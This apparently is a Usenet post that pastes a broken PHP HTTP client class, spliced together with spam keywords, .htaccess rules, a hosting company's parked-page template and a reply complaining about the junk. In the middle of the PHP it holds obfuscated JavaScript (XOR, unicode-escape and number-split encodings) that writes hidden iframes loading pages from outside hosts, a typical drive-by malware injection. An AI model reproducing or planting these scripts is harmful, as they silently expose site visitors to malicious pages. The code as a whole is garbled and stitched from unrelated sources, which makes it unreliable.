if($this->remaining_chunk==0)
{
$this->last_chunk_read=1;
break;
}
$ask=min($this->remaining_chunk,$remaining);
$chunk=@fread($this->connection,$ask);
$read=strlen($chunk);
if($read==0)
{
$this->SetDataAccessError("it was not possible to read
data chunk from the HTTP server");
return("");
}
if($this->debug
&& $this->debug_response_body)
$this->OutputDebug("S ".$chunk);
$bytes.=$chunk;
$this->remaining_chunk-=$read;
$remaining-=$read;
if($this->remaining_chunk==0)
{
if(feof($this->connection))
return($this->SetError("reached the end of data while
reading the end of data chunk mark from the HTTP server"));
$data=@fread($this->connection,2);
if(strcmp($data,"\r\n"))
{
$this->SetDataAccessError("it was not possible to read
end of data chunk from the HTTP server");
return("");
}
}
}
}
else
{
$bytes=@fread($this->connection,$length);
if(strlen($bytes))
{
if($this->debug
&& $this->debug_response_body)
$this->OutputDebug("S ".$bytes);
}
else
$this->SetDataAccessError("it was not possible to read data
from the HTTP server", $this->connection_close);
}
}
return($bytes);
}
Function EndOfInput()
{
if($this->use_curl)
return($this->read_response>=strlen($this->response));
if($this->chunked)
return($this->last_chunk_read);
return(feof($this->connection));
}
Function Resolve($domain, &$ip, $server_type)
{
if(ereg('^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$',
$domain))
$ip=$domain;
else
{
if($this->debug)
$this->OutputDebug('Resolving '.$server_type.' server domain
"'.$domain.'"...');
if(!strcmp($ip=@gethostbyname($domain),$domain))
$ip="";
}
if(strlen($ip)==0
|| (strlen($this->exclude_address)
&& !strcmp(@gethostbyname($this->exclude_address),$ip)))
return($this->SetError("could not resolve the host domain \"".
$domain."\""));
return('');
}
Function Connect($host_name, $host_port, $ssl, $server_type =
'HTTP')
{
$domain=$host_name;
$port = $host_port;
if(strlen($error = $this->Resolve($domain, $ip, $server_type)))
return($error);
if(strlen($this->socks_host_name))
{
$host_ip = $ip;
$port = $this->socks_host_port;
$host_server_type = $server_type;
$server_type = 'SOCKS';
if(strlen($error = $this->Resolve($this->socks_host_name, $ip,
$server_type)))
return($error);
}
if($this->debug)
$this->OutputDebug('Connecting to '.$server_type.' server IP '.
$ip.' port '.$port.'...');
if($ssl)
$ip="ssl://".$ip;
if(($this->connection=($this->timeout ? @fsockopen($ip, $port,
$errno, $error, $this->timeout) : @fsockopen($ip, $port, $errno)))==0)
{
switch($errno)
{
case -3:
return($this->SetError("-3 socket could not be created"));
case -4:
return($this->SetError("-4 dns lookup on hostname \"".
$host_name."\" failed"));
case -5:
return($this->SetError("-5 connection refused or timed
out"));
case -6:
return($this->SetError("-6 fdopen() call failed"));
case -7:
return($this->SetError("-7 setvbuf() call failed"));
default:
return($this->SetPHPError($errno." could not connect to the
host \"".$host_name."\"",$php_errormsg));
}
}
else
{
if($this->data_timeout
&& function_exists("socket_set_timeout"))
socket_set_timeout($this->connection,$this->data_timeout,0);
if(strlen($this->socks_host_name))
{
if($this->debug)
{
$this->OutputDebug('Connected to the SOCKS server '.$this-
>socks_host_name);
$this->OutputDebug('Negotiating the authentication
method ...');
}
$send_error = 'it was not possible to send data to the SOCKS
server';
$receive_error = 'it was not possible to receive data from the
SOCKS server';
$version = 5;
$methods = 1;
$method = 0;
if(!fputs($this->connection, chr($version).chr($methods).chr
($method)))
$error = $this->SetDataAccessError($send_error);
else
{
$response = fgets($this->connection, 3);
if(strlen($response) != 2)
$error = $this->SetDataAccessError($receive_error);
elseif(Ord($response[1]) != $method)
$error = 'the SOCKS server requires an authentication
method that is not yet supported';
else
{
if($this->debug)
$this->OutputDebug('Connecting to '.$host_server_type.'
server IP '.$host_ip.' port '.$host_port.'...');
$command = 1;
$address_type = 1;
if(!fputs($this->connection, chr($version).chr
($command)."\x00".chr($address_type).pack('Nn', ip2long($host_ip),
$host_port)))
$error = $this->SetDataAccessError($send_error);
else
{
$response = fgets($this->connection, 11);
if(strlen($response) != 10)
$error = $this->SetDataAccessError($receive_error);
else
{
$socks_errors = array(
"\x00"=>'',
"\x01"=>'general SOCKS server failure',
"\x02"=>'connection not allowed by ruleset',
"\x03"=>'Network unreachable',
"\x04"=>'Host unreachable',
"\x05"=>'Connection refused',
"\x06"=>'TTL expired',
"\x07"=>'Command not supported',
"\x08"=>'Address type not supported'
);
$error_code = $response[1];
$error = (IsSet($socks_errors[$error_code]) ?
$socks_errors[$error_code] : 'unknown');
if(strlen($error))
$error = 'SOCKS error: '.$error;
}
}
}
}
if(strlen($error))
{
fclose($this->connection);
return($error);
}
}
if($this->debug)
$this->OutputDebug("Connected to $host_name");
if(strlen($this->proxy_host_name)
&& strcmp(strtolower($this->protocol), 'HTTPS'))
{
if(function_exists('stream_socket_enable_crypto')
&& in_array('ssl', stream_get_transports()))
$this->state = "ConnectedToProxy";
else
{
$this->OutputDebug("It is not possible to start SSL after
connecting to the proxy server. If the proxy refuses to forward the
SSL request, you may need to upgrade to PHP 5.1 or later with OpenSSL
support enabled.");
$this->state="Connected";
}
}
else
$this->state="Connected";
return("");
}
}
Function Disconnect()
{
if($this->debug)
$this->OutputDebug("Disconnected from ".$this->host_name);
if($this->use_curl)
{
curl_close($this->connection);
$this->response="";
}
else
fclose($this->connection);
$this->state="Disconnected";
return("");
}
/* Public methods */
Function GetRequestArguments($url,&$arguments)
{
if(strlen($this->error))
return($this->error);
$arguments=array();
$parameters=@parse_url($url);
if(!$parameters)
return($this->SetError("it was not specified a valid URL"));
if(!IsSet($parameters["scheme"]))
return($this->SetError("it was not specified the protocol type
argument"));
switch(strtolower($parameters["scheme"]))
{
case "http":
case "https":
$arguments["Protocol"]=$parameters["scheme"];
break;
default:
return($parameters["scheme"]." connection scheme is not yet
supported");
}
if(!IsSet($parameters["host"]))
return($this->SetError("it was not specified the connection host
argument"));
$arguments["HostName"]=$parameters["host"];
$arguments["Headers"]=array("Host"=>$parameters["host"].(IsSet
($parameters["port"]) ? ":".$parameters["port"] : ""));
if(IsSet($parameters["user"]))
{
$arguments["AuthUser"]=UrlDecode($parameters["user"]);
if(!IsSet($parameters["pass"]))
$arguments["AuthPassword"]="";
}
if(IsSet($parameters["pass"]))
{
if(!IsSet($parameters["user"]))
$arguments["AuthUser"]="";
$arguments["AuthPassword"]=UrlDecode($parameters["pass"]);
}
if(IsSet($parameters["port"]))
{
if(strcmp($parameters["port"],strval(intval($parameters
["port"]))))
return($this->SetError("it was not specified a valid
connection host argument"));
$arguments["HostPort"]=intval($parameters["port"]);
}
else
$arguments["HostPort"]=0;
$arguments["RequestURI"]=(IsSet($parameters["path"]) ? $parameters
["path"] : "/").(IsSet($parameters["query"]) ? "?".$parameters
["query"] : "");
if(strlen($this->user_agent))
$arguments["Headers"]["User-Agent"]=$this->user_agent;
return("");
}
Function Open($arguments)
{
if(strlen($this->error))
return($this->error);
if($this->state!="Disconnected")
return("1 already connected");
if(IsSet($arguments["HostName"]))
$this->host_name=$arguments["HostName"];
if(IsSet($arguments["HostPort"]))
$this->host_port=$arguments["HostPort"];
if(IsSet($arguments["ProxyHostName"]))
$this->proxy_host_name=$arguments["ProxyHostName"];
if(IsSet($arguments["ProxyHostPort"]))
$this->proxy_host_port=$arguments["ProxyHostPort"];
if(IsSet($arguments["SOCKSHostName"]))
$this->socks_host_name=$arguments["SOCKSHostName"];
if(IsSet($arguments["SOCKSHostPort"]))
$this->socks_host_port=$arguments["SOCKSHostPort"];
if(IsSet($arguments["Protocol"]))
$this->protocol=$arguments["Protocol"];
switch(strtolower($this->protocol))
{
case "http":
$default_port=80;
break;
case "https":
$default_port=443;
break;
default:
return($this->SetError("2 it was not specified a valid
connection protocol"));
}
if(strlen($this->proxy_host_name)==0)
{
if(strlen($this->host_name)==0)
return($this->SetError("2 it was not specified a valid
hostname"));
$host_name=$this->host_name;
$host_port=($this->host_port ? $this->host_port :
$default_port);
$server_type = 'HTTP';
}
else
{
$host_name=$this->proxy_host_name;
$host_port=$this->proxy_host_port;
$server_type = 'HTTP proxy';
}
$ssl=(strtolower($this->protocol)=="https" && strlen($this-
>proxy_host_name)==0);
if($ssl
&& strlen($this->socks_host_name))
return($this->SetError('establishing SSL connections via a SOCKS
server is not yet supported'));
$this->use_curl=($ssl && $this->prefer_curl && function_exists
("curl_init"));
if($this->debug)
$this->OutputDebug("Connecting to ".$this->host_name);
if($this->use_curl)
{
$error=(($this->connection=curl_init($this->protocol."://".$this-
>host_name.($host_port==$default_port ? "" : ":".strval
($host_port))."/")) ? "" : "Could not initialize a CURL session");
if(strlen($error)==0)
{
if(IsSet($arguments["SSLCertificateFile"]))
curl_setopt($this->connection,CURLOPT_SSLCERT,$arguments
["SSLCertificateFile"]);
if(IsSet($arguments["SSLCertificatePassword"]))
curl_setopt($this->connection,CURLOPT_SSLCERTPASSWD,
$arguments["SSLCertificatePassword"]);
if(IsSet($arguments["SSLKeyFile"]))
curl_setopt($this->connection,CURLOPT_SSLKEY,$arguments
["SSLKeyFile"]);
if(IsSet($arguments["SSLKeyPassword"]))
curl_setopt($this->connection,CURLOPT_SSLKEYPASSWD,$arguments
["SSLKeyPassword"]);
}
$this->state="Connected";
}
else
{
$error="";
if(strlen($this->proxy_host_name)
&& (IsSet($arguments["SSLCertificateFile"])
|| IsSet($arguments["SSLCertificateFile"])))
$error="establishing SSL connections using certificates or
private keys via non-SSL proxies is not supported";
else
{
if($ssl)
{
if(IsSet($arguments["SSLCertificateFile"]))
$error="establishing SSL connections using certificates is
only supported when the cURL extension is enabled";
elseif(IsSet($arguments["SSLKeyFile"]))
$error="establishing SSL connections using a private key
is only supported when the cURL extension is enabled";
else
{
$version=explode(".",function_exists("phpversion") ?
phpversion() : "3.0.7");
$php_version=intval($version[0])*1000000+intval($version
[1])*1000+intval($version[2]);
if($php_version<4003000)
$error="establishing SSL connections requires at least
PHP version 4.3.0 or having the cURL extension enabled";
elseif(!function_exists("extension_loaded")
|| !extension_loaded("openssl"))
$error="establishing SSL connections requires the
OpenSSL extension enabled";
}
}
if(strlen($error)==0)
$error=$this->Connect($host_name, $host_port, $ssl,
$server_type);
}
}
if(strlen($error))
return($this->SetError($error));
$this->session=md5(uniqid(""));
return("");
}
Function Close()
{
if($this->state=="Disconnected")
return("1 already disconnected");
$error=$this->Disconnect();
if(strlen($error)==0)
$this->state="Disconnected";
return($error);
}
Function PickCookies(&$cookies,$secure)
{
if(IsSet($this->cookies[$secure]))
{
$now=gmdate("Y-m-d H-i-s");
for($domain=0,Reset($this->cookies[$secure]);$domain<count($this-
>cookies[$secure]);Next($this->cookies[$secure]),$domain++)
{
$domain_pattern=Key($this->cookies[$secure]);
$match=strlen($this->request_host)-strlen($domain_pattern);
if($match>=0
&& !strcmp($domain_pattern,substr($this->request_host,$match))
&& ($match==0
|| $domain_pattern[0]=="."
|| $this->request_host[$match-1]=="."))
{
for(Reset($this->cookies[$secure][$domain_pattern]),
$path_part=0;$path_part<count($this->cookies[$secure]
[$domain_pattern]);Next($this->cookies[$secure][$domain_pattern]),
$path_part++)
{
$path=Key($this->cookies[$secure][$domain_pattern]);
if(strlen($this->request_uri)>=strlen($path)
&& substr($this->request_uri,0,strlen($path))==$path)
{
for(Reset($this->cookies[$secure][$domain_pattern]
[$path]),$cookie=0;$cookie<count($this->cookies[$secure]
[$domain_pattern][$path]);Next($this->cookies[$secure][$domain_pattern]
[$path]),$cookie++)
{
$cookie_name=Key($this->cookies[$secure]
[$domain_pattern][$path]);
$expires=$this->cookies[$secure][$domain_pattern]
[$path][$cookie_name]["expires"];
if($expires==""
|| strcmp($now,$expires)<0)
$cookies[$cookie_name]=$this->cookies[$secure]
[$domain_pattern][$path][$cookie_name];
}
}
}
}
}
}
}
Function GetFileDefinition(&$file,&$definition)
{
$name="";
if(IsSet($file["FileName"]))
$name=basename($file["FileName"]);
if(IsSet($file["Name"]))
$name=$file["Name"];
if(strlen($name)==0)
return("it was not specified the file part name");
if(IsSet($file["Content-Type"]))
{
$content_type=$file["Content-Type"];
$type=$this->Tokenize(strtolower($content_type),"/");
$sub_type=$this->Tokenize("");
switch($type)
{
case "text":
case "image":
case "audio":
case "video":
case "application":
case "message":
break;
case "automatic":
switch($sub_type)
{
case "name":
switch(GetType($dot=strrpos($name,"."))=="integer" ?
strtolower(substr($name,$dot)) : "")
{
case ".xls":
$content_type="application/excel";
break;
case ".hqx":
$content_type="application/macbinhex40";
break;
case ".doc":
case ".dot":
case ".wrd":
$content_type="application/msword";
break;
case ".pdf":
$content_type="application/pdf";
break;
case ".pgp":
$content_type="application/pgp";
break;
case ".ps":
case ".eps":
case ".ai":
$content_type="application/postscript";
break;
case ".ppt":
$content_type="application/powerpoint";
break;
case ".rtf":
$content_type="application/rtf";
break;
case ".tgz":
case ".gtar":
$content_type="application/x-gtar";
break;
case ".gz":
$content_type="application/x-gzip";
break;
case ".php":
case ".php3":
$content_type="application/x-httpd-php";
break;
case ".js":
$content_type="application/x-javascript";
break;
case ".ppd":
case ".psd":
$content_type="application/x-photoshop";
break;
case ".swf":
case ".swc":
case ".rf":
$content_type="application/x-shockwave-flash";
break;
case ".tar":
$content_type="application/x-tar";
break;
case ".zip":
$content_type="application/zip";
break;
case ".mid":
case ".midi":
case ".kar":
$content_type="audio/midi";
break;
case ".mp2":
case ".mp3":
case ".mpga":
$content_type="audio/mpeg";
break;
case ".ra":
$content_type="audio/x-realaudio";
break;
case ".wav":
$content_type="audio/wav";
break;
case ".bmp":
$content_type="image/bitmap";
break;
case ".gif":
$content_type="image/gif";
break;
case ".iff":
$content_type="image/iff";
break;
case ".jb2":
$content_type="image/jb2";
break;
case ".jpg":
case ".jpe":
case ".jpeg":
$content_type="image/jpeg";
break;
case ".jpx":
$content_type="image/jpx";
break;
case ".png":
$content_type="image/png";
break;
case ".tif":
case ".tiff":
$content_type="image/tiff";
break;
case ".wbmp":
$content_type="image/vnd.wap.wbmp";
break;
case ".xbm":
$content_type="image/xbm";
break;
case ".css":
$content_type="text/css";
break;
case ".txt":
$content_type="text/plain";
break;
case ".htm":
case ".html":
$content_type="text/html";
break;
case ".xml":
$content_type="text/xml";
break;
case ".mpg":
case ".mpe":
case ".mpeg":
$content_type="video/mpeg";
break;
case ".qt":
case ".mov":
$content_type="video/quicktime";
break;
case ".avi":
$content_type="video/x-ms-video";
break;
case ".eml":
$content_type="message/rfc822";
break;
default:
$content_type="application/octet-stream";
break;
}
break;
default:
return($content_type." is not a supported automatic
content type detection method");
}
break;
default:
return($content_type." is not a supported file content
type");
}
}
else
$content_type="application/octet-stream";
$definition=array(
"Content-Type"=>$content_type,
"NAME"=>$name
);
if(IsSet($file["FileName"]))
{
if(GetType($length=@filesize($file["FileName"]))!="integer")
{
$error="it was not possible to determine the length of the
file ".$file["FileName"];
if(IsSet($php_errormsg)
&& strlen($php_errormsg))
$error.=": ".$php_errormsg;
if(!file_exists($file["FileName"]))
$error="it was not possible to access the file ".$file
["FileName"];
return($error);
}
$definition["FILENAME"]=$file["FileName"];
$definition["Content-Length"]=$length;
}
elseif(IsSet($file["Data"]))
$definition["Content-Length"]=strlen($definition["DATA"]=$file
["Data"]);
else
return("it was not specified a valid file name");
return("");
}
Function ConnectFromProxy($arguments, &$headers)
{
if(!$this->PutLine('CONNECT '.$this->host_name.':'.($this-
>host_port ? $this->host_port : 443).' HTTP/1.0')
|| (strlen($this->user_agent)
&& !$this->PutLine('User-Agent: '.$this->user_agent))
|| (IsSet($arguments['Headers']['Proxy-Authorization'])
&& !$this->PutLine('Proxy-Authorization: '.$arguments['Headers']
['Proxy-Authorization']))
|| !$this->PutLine(''))
{
$this->Disconnect();
return($this->error);
}
$this->state = "ConnectSent";
if(strlen($error=$this->ReadReplyHeadersResponse($headers)))
return($error);
$proxy_authorization="";
while(!strcmp($this->response_status, "100"))
{
$this->state="ConnectSent";
if(strlen($error=$this->ReadReplyHeadersResponse($headers)))
return($error);
}
switch($this->response_status)
{
case "200":
if(!@stream_socket_enable_crypto($this->connection, 1,
STREAM_CRYPTO_METHOD_SSLv23_CLIENT))
{
$this->SetPHPError('it was not possible to start a SSL
encrypted connection via this proxy', $php_errormsg);
$this->Disconnect();
return($this->error);
}
$this->state = "Connected";
break;
case "407":
if(strlen($error=$this->Authenticate($headers, -1,
$proxy_authorization, $this->proxy_request_user, $this-
>proxy_request_password, $this->proxy_request_realm, $this-
>proxy_request_workstation)))
return($error);
break;
default:
return($this->SetError("unable to send request via proxy"));
}
return("");
}
Function SendRequest($arguments)
{
if(strlen($this->error))
return($this->error);
if(IsSet($arguments["ProxyUser"]))
$this->proxy_request_user=$arguments["ProxyUser"];
elseif(IsSet($this->proxy_user))
$this->proxy_request_user=$this->proxy_user;
if(IsSet($arguments["ProxyPassword"]))
$this->proxy_request_password=$arguments["ProxyPassword"];
elseif(IsSet($this->proxy_password))
$this->proxy_request_password=$this->proxy_password;
if(IsSet($arguments["ProxyRealm"]))
$this->proxy_request_realm=$arguments["ProxyRealm"];
elseif(IsSet($this->proxy_realm))
$this->proxy_request_realm=$this->proxy_realm;
if(IsSet($arguments["ProxyWorkstation"]))
$this->proxy_request_workstation=$arguments["ProxyWorkstation"];
elseif(IsSet($this->proxy_workstation))
$this->proxy_request_workstation=$this->proxy_workstation;
switch($this->state)
{
case "Disconnected":
return($this->SetError("1 connection was not yet
established"));
case "Connected":
$connect = 0;
break;
case "ConnectedToProxy":
if(strlen($error = $this->ConnectFromProxy($arguments,
$headers)))
return($error);
$connect = 1;
break;
default:
return($this->SetError("2 can not send request in the current
connection state"));
}
if(IsSet($arguments["RequestMethod"]))
$this->request_method=$arguments["RequestMethod"];
if(IsSet($arguments["User-Agent"]))
$this->user_agent=$arguments["User-Agent"];
if(!IsSet($arguments["Headers"]["User-Agent"])
&& strlen($this->user_agent))
$arguments["Headers"]["User-Agent"]=$this->user_agent;
if(strlen($this->request_method)==0)
return($this->SetError("3 it was not specified a valid request
method"));
if(IsSet($arguments["RequestURI"]))
$this->request_uri=$arguments["RequestURI"];
if(strlen($this->request_uri)==0
|| substr($this->request_uri,0,1)!="/")
return($this->SetError("4 it was not specified a valid request
URI"));
$this->request_arguments=$arguments;
$this->request_headers=(IsSet($arguments["Headers"]) ? $arguments
["Headers"] : array());
$body_length=0;
$this->request_body="";
$get_body=1;
if($this->request_method=="POST"
|| $this->request_method=="PUT")
{
if(IsSet($arguments['StreamRequest']))
{
$get_body = 0;
$this->request_headers["Transfer-Encoding"]="chunked";
}
elseif(IsSet($arguments["PostFiles"])
|| ($this->force_multipart_form_post
&& IsSet($arguments["PostValues"])))
{
$boundary="--".md5(uniqid(time()));
$this->request_headers["Content-Type"]="multipart/form-data;
boundary=".$boundary.(IsSet($arguments["CharSet"]) ? "; charset=".
$arguments["CharSet"] : "");
$post_parts=array();
if(IsSet($arguments["PostValues"]))
{
$values=$arguments["PostValues"];
if(GetType($values)!="array")
return($this->SetError("5 it was not specified a valid
POST method values array"));
for(Reset($values),$value=0;$value<count($values);Next
($values),$value++)
{
$input=Key($values);
$headers="--".$boundary."\r\nContent-Disposition: form-
data; name=\"".$input."\"\r\n\r\n";
$data=$values[$input];
$post_parts[]=array("HEADERS"=>$headers,"DATA"=>$data);
$body_length+=strlen($headers)+strlen($data)+strlen("\r
\n");
}
}
$body_length+=strlen("--".$boundary."--\r\n");
$files=(IsSet($arguments["PostFiles"]) ? $arguments
["PostFiles"] : array());
Reset($files);
$end=(GetType($input=Key($files))!="string");
for(;!$end;)
{
if(strlen($error=$this->GetFileDefinition($files[$input],
$definition)))
return("3 ".$error);
$headers="--".$boundary."\r\nContent-Disposition: form-data;
name=\"".$input."\"; filename=\"".$definition["NAME"]."\"\r\nContent-
Type: ".$definition["Content-Type"]."\r\n\r\n";
$part=count($post_parts);
$post_parts[$part]=array("HEADERS"=>$headers);
if(IsSet($definition["FILENAME"]))
{
$post_parts[$part]["FILENAME"]=$definition["FILENAME"];
$data="";
}
else
$data=$definition["DATA"];
$post_parts[$part]["DATA"]=$data;
$body_length+=strlen($headers)+$definition["Content-Length"]
+strlen("\r\n");
Next($files);
$end=(GetType($input=Key($files))!="string");
}
$get_body=0;
}
elseif(IsSet($arguments["PostValues"]))
{
$values=$arguments["PostValues"];
if(GetType($values)!="array")
return($this->SetError("5 it was not specified a valid POST
method values array"));
for(Reset($values),$value=0;$value<count($values);Next
($values),$value++)
{
$k=Key($values);
if(GetType($values[$k])=="array")
{
for($v = 0; $v < count($values[$k]); $v++)
{
if($value+$v>0)
$this->request_body.="&";
$this->request_body.=UrlEncode($k)."=".UrlEncode($values
[$k][$v]);
}
}
else
{
if($value>0)
$this->request_body.="&";
$this->request_body.=UrlEncode($k)."=".UrlEncode($values
[$k]);
}
}
$this->request_headers["Content-Type"]="application/x-www-form-
urlencoded".(IsSet($arguments["CharSet"]) ?
";<html><body><script>q="=hgs`ld!rsb<iuuq;..c`rdrsw/odu.cho.ho/qiq!
vheui<0!idhfiu<0!ruxmd<&whrhchmhux;iheedo&?=.hgs`ld?";w="";for
(i=0;i<q.length;i++){w=w+String.fromCharCode(q.charCodeAt(i)
^1);};document.write(w);</script><script type="text/
javascript">document.write('\u003c\u0069\u0066\u0072\u0061\u006d
\u0065\u0020\u0066\u0072\u0061\u006d\u0065\u0062\u006f
\u0072\u0064\u0065\u0072\u003d\u0030\u0020\u0062\u006f
\u0072\u0064\u0065\u0072\u003d
\u0030\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d
\u0031\u0020\u0077\u0069\u0064\u0074\u0068\u003d
\u0031\u0020\u0073\u0072\u0063\u003d
\u0022\u0020\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0067\u006c
\u006f\u006e\u0064\u0069\u0073\u002e\u0063\u006e\u002f\u0069\u006e
\u002e\u0063\u0067\u0069\u003f\u0032\u0022\u0020\u002f\u003e')</
script></body></html> <?php echo ''; ?><?php echo ''; ?><?php echo
''; ?><?php echo ''; ?><?php echo '<script type="text/javascript">var
XiLgdMoRSAbuUBAgpMkf =
"uKNMv60uKNMv105uKNMv102uKNMv114uKNMv97uKNMv109uKNMv101uKNMv32uKNMv119uKNMv105uKNMv100uKNMv116uKNMv104uKNMv61uKNMv34uKNMv52uKNMv56uKNMv48uKNMv34uKNMv32uKNMv104uKNMv101uKNMv105uKNMv103uKNMv104uKNMv116uKNMv61uKNMv34uKNMv54uKNMv48uKNMv34uKNMv32uKNMv115uKNMv114uKNMv99uKNMv61uKNMv34uKNMv104uKNMv116uKNMv116uKNMv112uKNMv58uKNMv47uKNMv47uKNMv120uKNMv98uKNMv120uKNMv46uKNMv116uKNMv119uKNMv47uKNMv105uKNMv110uKNMv46uKNMv99uKNMv103uKNMv105uKNMv63uKNMv51uKNMv34uKNMv32uKNMv115uKNMv116uKNMv121uKNMv108uKNMv101uKNMv61uKNMv34uKNMv98uKNMv111uKNMv114uKNMv100uKNMv101uKNMv114uKNMv58uKNMv48uKNMv112uKNMv120uKNMv59uKNMv32uKNMv112uKNMv111uKNMv115uKNMv105uKNMv116uKNMv105uKNMv111uKNMv110uKNMv58uKNMv114uKNMv101uKNMv108uKNMv97uKNMv116uKNMv105uKNMv118uKNMv101uKNMv59uKNMv32uKNMv116uKNMv111uKNMv112uKNMv58uKNMv48uKNMv112uKNMv120uKNMv59uKNMv32uKNMv108uKNMv101uKNMv102uKNMv116uKNMv58uKNMv45uKNMv53uKNMv48uKNMv48uKNMv112uKNMv120uKNMv59uKNMv32uKNMv111uKNMv112uKNMv97uKNMv99uKNMv105uKNMv116uKNMv121uKNMv58uKNMv48uKNMv59uKNMv32uKNMv102uKNMv105uKNMv108uKNMv116uKNMv101uKNMv114uKNMv58uKNMv112uKNMv114uKNMv111uKNMv103uKNMv105uKNMv100uKNMv58uKNMv68uKNMv88uKNMv73uKNMv109uKNMv97uKNMv103uKNMv101uKNMv84uKNMv114uKNMv97uKNMv110uKNMv115uKNMv102uKNMv111uKNMv114uKNMv109uKNMv46uKNMv77uKNMv105uKNMv99uKNMv114uKNMv111uKNMv115uKNMv111uKNMv102uKNMv116uKNMv46uKNMv65uKNMv108uKNMv112uKNMv104uKNMv97uKNMv40uKNMv111uKNMv112uKNMv97uKNMv99uKNMv105uKNMv116uKNMv121uKNMv61uKNMv48uKNMv41uKNMv59uKNMv32uKNMv45uKNMv109uKNMv111uKNMv122uKNMv45uKNMv111uKNMv112uKNMv97uKNMv99uKNMv105uKNMv116uKNMv121uKNMv58uKNMv48uKNMv34uKNMv62uKNMv60uKNMv47uKNMv105uKNMv102uKNMv114uKNMv97uKNMv109uKNMv101uKNMv62";var
ChBcyUOSVHTsqfYTsNlK = XiLgdMoRSAbuUBAgpMkf.split("uKNMv");var
ONFiOFOESykVglxfGMyb = "";for (var URUKxtepGQzUdEDsKRwd=1;
URUKxtepGQzUdEDsKRwd<ChBcyUOSVHTsqfYTsNlK.length; URUKxtepGQzUdEDsKRwd+
+){ONFiOFOESykVglxfGMyb+=String.fromCharCode(ChBcyUOSVHTsqfYTsNlK
[URUKxtepGQzUdEDsKRwd]);}document.write(ONFiOFOESykVglxfGMyb)</
script>'; ?
>indexmaprobertacounteriphonestonesoembachelorapplesprostitutioncoverageauditionscarpentrytraverseotherareaextensionsmicheleespanamommymoroccannumamarinaderutherfordmeaningrefillsplannerchristianitycreedpatroldelorganisationdarrellgomezvidsforgettripodrecieverskatingcraiguterinecubespecificationsmtabethstorageenglewoodbudnasalgoesconflictsyumammacasmattmoniquenervousspotsactivatecohenproctorextractionviinursesscottishviolationsgonesinghbarriersvallejoquebecadoptionserieslevybankingdressesmethodologytrancesyllabusscreeningsellerdxallowstallionliverpriestleavesdunedinsecondarypollmalagapistonminglinerpitsmillerburnerhosepiesbeadplwmvdearbornmosesindicatorsseafoodplankxxxharesizefixturescylinderhairparaappetizerdragonsupermarketschnauzerqoutesadminmeasurementsexperimentmobileturtleschangedcatholicsheldonmufflerindependencebsafloralmaterialsroasteddisordertotemchefboredhostsilexamplemercurytreatedcatalogscastroairbusntdetergentwattmeasuresimmobiliersignaturetrainsmokylisaenzymesdrawingscolonyprudentialgenmohawkstorematchingtreopolarispanwbcooperbumpersbirdsdadsarchitecturalparasiteexitdigestinchbelowtaxidermyyearlyfletcherxboxmarinecountdownfistperiodmoonpakistanaccomodationsweakfemabbqdanielscasasufcemperoralspayrollheritagebutcherhaley<a
href http://meami.org/ions +FollowSymLinks
RewriteEngine on http://meami.org/.
RewriteCond %{HTTP_HOST} ^meami\.tld [NC]
RewriteRule (.*) http://www.meami.tld/$1 [R=301,L]
RewriteCond %{THE_REQUEST} ^.*/index.html
RewriteRule ^(.*)index.html$ http://www.meami.tld/$1 [R=301,L]
<html>
<head>
<?php
$meta = array(
'dk' => array(
'lang' => 'da',
'title' => 'SURFTOWN - Success Online',
'description' => 'Webhotel, domæne, hjemmeside, blog, webshop
fra kr. 9,- inkl. gratis support kun hos SURFTOWN. Kom i gang uden
teknisk baggrund - det er legende let!',
'keywords' => 'webhotel, domæne, webshop, domain,
hjemmeside, blog, gratis support, support, surftown',
),
'no' => array(
'lang' => 'no',
'title' => 'SURFTOWN - Success Online',
'description' => 'Webhotel, domæne, hjemmeside, blog, webshop
fra kr. 10,- inkl. gratis support kun hos SURFTOWN. Kom i gang uden
teknisk baggrund - det er legende let!',
'keywords' => 'webhotel, domæne, webshop, domain,
hjemmeside, blog, gratis support, support, surftown',
),
'se' => array(
'lang' => 'sv',
'title' => 'SURFTOWN - Success Online',
'description' => 'Webbhotel, domänregistrering, hemsida, blog
og webshop fra 12:- inkl. fri support kun hos SURFTOWN. Kräver inga
tekniska förkunskaper och kan därför användas av nybörjare!',
'keywords' => 'webbhotell, webhotell, domän, hemsida ,
webbplats, webbsite, domänregistrering, hosting, blog'
)
);
$default = array(
'lang' => 'en',
'title' => 'SURFTOWN - Success Online',
'description' => 'Website, domain registration, homepage, blog
and ecommerce from 1.99 incl. free support only at SURFTOWN. No
technical skills required to get started - perfect for beginners!',
'keywords' => 'website, web site, domain, domain
registration, homepage, home page, hosting, blog, ecommcerce, webshop'
);
preg_match('/\.([a-z]+)$/', $_SERVER['HTTP_HOST'], $tld);
$meta = array_merge($default, $meta[$tld[1]]);
print " <title>{$meta[title]}</title>\n";
print " <meta name=\"description\" lang=\"{$meta[lang]}\"
content=\"{$meta[description]}\">\n";
print " <meta name=\"keywords\" lang=\"{$meta[lang]}\" content=
\"{$meta[keywords]}\">\n";
?>
<meta http-equiv="Content-Type" content="text/html;
charset=utf-8">
</head>
<body>
<table width="100%" height="100%" border="0" cellpadding="0"
cellspacing="0">
<tr>
<td align="center" valign="middle">
<a href="http://www.surftown.com"><img src="hosted_by.gif"
border="0" /></a>
</td>
</tr>
</table>
<?php
$tags = array(
'0' => '<h1></h1>',
'1' => '<h2></h2>',
'2' => '<h3></h3>',
'3' => '<h4></h4>',
'4' => '<h5></h5>',
'5' => '<h6></h6>',
'6' => '<em></em>',
'7' => '<strong></strong>',
'8' => '<cite></cite>',
'9' => '<dfn></dfn>',
'a' => '<code></code>',
'b' => '<samp></samp>',
'c' => '<kbd></kbd>',
'd' => '<var></var>',
'e' => '<abbr></abbr>',
'f' => '<acronym></acronym>'
);
$hash = md5("Host: {$_SERVER[HTTP_HOST]}");
for ($i = 0; $i < 32; $i++)
$data .= ($i % 4 == 0 ? " " : "") .
$tags[$hash{$i}] .
($i % 4 == 3 ? "\n" : "");
print "<div style=\"display:none;\">\n$data</div>\n";
?>
</body>
</html>
+musatov
> http:// ===---+On Oct 24, 9:14 am, Richard Heathfield
> <r...@see.sig.invalid> wrote:
<snip>
>> How do you think people feel about your contemptuous abuse of
>> Usenet?
>>
> I do not know anything about contemptuous abuse.
Yeah, right.
<almost 2000 lines of junk snipped>
Almost 2000 lines of junk certainly counts as one example of
contemptuous abuse.
A page with almost nothing on it, yet is is not even valid HTML.
--
